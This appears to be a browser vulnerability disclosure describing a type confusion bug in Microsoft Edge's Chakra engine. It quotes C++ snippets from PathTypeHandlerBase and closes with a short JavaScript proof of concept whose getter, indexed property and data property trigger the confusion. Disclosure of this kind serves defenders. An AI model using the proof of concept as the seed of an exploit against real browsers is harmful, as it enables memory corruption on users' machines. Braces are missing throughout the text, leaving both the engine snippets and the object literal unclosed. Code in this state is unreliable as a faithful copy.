Microsoft Edge Chakra - 'PathTypeHandlerBase::SetAttributesHelper' Type Confusion







Here's a snippet of PathTypeHandlerBase::SetAttributesHelper.

PathTypeHandlerBase *predTypeHandler = this;
DynamicType *currentType = instance->GetDynamicType();
while (predTypeHandler->GetPathLength() > propertyIndex)
    currentType = predTypeHandler->GetPredecessorType();
    if (currentType == nullptr)
        // This can happen if object header inlining is deoptimized, and we haven't built a full path from the root.
        // For now, just punt this case.
        return TryConvertToSimpleDictionaryType(instance, GetPathLength())->SetAttributes(instance, propertyId, ObjectSlotAttributesToPropertyAttributes(propertyAttributes));
    predTypeHandler = PathTypeHandlerBase::FromTypeHandler(currentType->GetTypeHandler());

When object header inlining is deoptimized, the type handler of the object is converted to a dictionary type handler. The problem is that it doesn't consider some attributes that dictionary type handlers don't have, so adding or removing those attributes can fail. ObjectSlotAttr_Accessor which indicates that the property is an accessor is one of them.

Here's a snippet of PathTypeHandlerBase::SetPropertyInternal.

else if (isInit)
    ObjectSlotAttributes * attributes = this->GetAttributeArray();
    if (attributes && (attributes[index] & ObjectSlotAttr_Accessor))
        this->SetAttributesHelper(instance, propertyId, index, attributes, (ObjectSlotAttributes)(attributes[index] & ~ObjectSlotAttr_Accessor), true);
        // We're changing an accessor into a data property at object init time. Don't cache this transition from setter to non-setter,
        // as it behaves differently from a normal set property.
        PropertyValueInfo::SetNoCache(info, instance);
        newTypeHandler = PathTypeHandlerBase::FromTypeHandler(instance->GetDynamicType()->GetTypeHandler());
        newTypeHandler->SetSlotUnchecked(instance, index, value);
        return true;

We can use the bug to make removing ObjectSlotAttr_Accessor fail. As a result, a data value can be used as an accessor.


let o = {
    get a() {},
    0: 0,  // Deoptimizing object header inlining
    a: 0x1234

o.a;  // Type confusion